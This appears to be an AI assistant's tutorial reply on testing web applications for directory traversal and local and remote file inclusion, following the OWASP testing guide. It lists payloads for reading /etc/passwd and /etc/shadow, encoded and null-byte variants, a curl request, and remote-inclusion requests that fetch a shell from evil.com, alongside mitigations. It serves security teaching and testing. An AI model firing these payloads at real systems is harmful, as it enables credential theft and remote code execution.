Great, now we’re entering the **File & Resource Attacks** area of WSTG. Let’s cover **Testing for Directory Traversal and File Inclusion** step by step.

**🧾 Testing for Directory Traversal & File Inclusion**

**1. Why It Matters**

Applications often take **user input to fetch files** (e.g., images, documents, configs).

* If input isn’t sanitized, attackers can request **arbitrary files** from the server (e.g., /etc/passwd), or
* Force the server to **include malicious code** → leading to **Remote Code Execution (RCE)**.

👉 Vulnerabilities:

* **Directory Traversal (Path Traversal):** ../../etc/passwd
* **Local File Inclusion (LFI):** index.php?page=../../../../etc/passwd
* **Remote File Inclusion (RFI):** index.php?page=http://evil.com/shell.txt

**2. What to Test**

**🔹 Directory Traversal**

* Check for access to sensitive system files:
* ../../../../etc/passwd
* ../../../../etc/shadow
* ../../../../windows/win.ini
* ../../../../boot.ini
* Variants with URL encoding:
* ..%2f..%2f..%2f..%2fetc/passwd
* ..%c0%af..%c0%afetc/passwd

**🔹 Local File Inclusion (LFI)**

* If parameter is something like ?file=home.html, try:
* ?file=../../../../etc/passwd
* ?file=../../../../var/log/apache2/access.log
* Try **null-byte injection** (%00) if app appends .php.
* ?file=../../../../etc/passwd%00

**🔹 Remote File Inclusion (RFI)**

* Only if allow\_url\_include is enabled in PHP.
* ?page=http://evil.com/shell.txt
* Leads to **remote shell execution**.

**3. How to Test (Tools & Steps)**

**🛠 Manual**

* **Burp Suite Intruder/Fuzzer** → automate ../ payloads.
* **Curl/Wget** → replay crafted requests:
* curl "http://target.com/index.php?page=../../../../etc/passwd"

**🛠 Automated**

* **DirBuster / gobuster / ffuf** – brute force directories/files.
* **Nmap NSE Scripts** (http-vuln-cve2017-5638 etc.) – detect traversal/LFI.
* **Nikto** – basic traversal/LFI payloads.

**4. Example Exploits**

**Linux**

GET /app?file=../../../../etc/passwd HTTP/1.1

**Windows**

GET /app?file=..%5c..%5c..%5cwindows%5cwin.ini HTTP/1.1

**Remote File Inclusion**

GET /index.php?page=http://evil.com/shell.txt HTTP/1.1

**5. Impact**

* Steal credentials (/etc/shadow).
* Leak system configs.
* Access source code → discover API keys, DB passwords.
* **LFI → RCE:** If logs or session files contain PHP code, attacker can include them → execute commands.
* **RFI → Full compromise.**

**6. Mitigations**

* Use **allowlist** for files (never trust user input for file paths).
* Normalize paths (realpath(), canonicalization).
* Disable allow\_url\_include.
* Run apps with **least privilege** (so /etc/shadow isn’t readable).
* Use **WAFs** to block traversal patterns.

✅ **Summary**:  
Directory Traversal and File Inclusion attacks happen when an app **improperly handles file paths** from user input. Testing involves fuzzing file path parameters with traversal (../) or external URLs to see if sensitive files can be accessed or included.

👉 Do you want me to also give you a **Burp Suite Intruder setup example for fuzzing traversal payloads**, so you can practice this in your lab?